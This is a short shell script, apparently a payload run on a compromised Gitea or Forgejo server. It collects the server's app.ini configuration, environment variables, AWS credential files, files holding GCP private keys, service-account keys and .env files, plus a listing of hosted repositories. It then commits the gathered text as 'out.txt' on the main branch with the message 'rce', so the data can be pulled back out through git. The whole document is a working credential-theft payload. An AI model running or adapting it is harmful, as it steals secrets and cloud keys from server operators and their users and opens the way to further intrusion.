#!/bin/sh O="" O="$O===GITEA_CONFIG===" O="$O$(cat /data/gitea/conf/app.ini 2>/dev/null || cat /etc/gitea/app.ini 2>/dev/null || cat /var/lib/gitea/custom/conf/app.ini 2>/dev/null || cat /var/lib/forgejo/custom/conf/app.ini 2>/dev/null)" O="$O===ENV===" O="$O$(env 2>&1)" O="$O===CRED_FILES===" O="$O$(find / -maxdepth 4 -name "*.json" -path "*service*" 2>/dev/null | head -5)" O="$O$(find / -maxdepth 4 -name "credentials" -o -name ".env" -o -name "sa-key*" -o -name "service-account*" 2>/dev/null | head -10)" O="$O===AWS===" O="$O$(cat /home/git/.aws/credentials 2>/dev/null; cat /root/.aws/credentials 2>/dev/null)" O="$O===GCP_KEY===" O="$O$(find / -maxdepth 4 -name "*.json" -exec grep -l "private_key" {} \; 2>/dev/null | head -5)" O="$O===DOCKER===" O="$O$(ls /.dockerenv 2>/dev/null && echo DOCKER || echo NO_DOCKER)" O="$O===REPO_DATA===" O="$O$(ls /data/gitea/gitea-repositories/ 2>/dev/null | head -10; ls /var/lib/forgejo/data/forgejo-repositories/ 2>/dev/null | head -10)" B=$(echo "$O" | git hash-object -w --stdin 2>/dev/null) T=$(printf "100644 blob %s\nout.txt" "$B" | git mktree 2>/dev/null) H=$(git rev-parse HEAD 2>/dev/null) C=$(git commit-tree "$T" -p "$H" -m "rce" 2>/dev/null) git update-ref refs/heads/main "$C" 2>/dev/null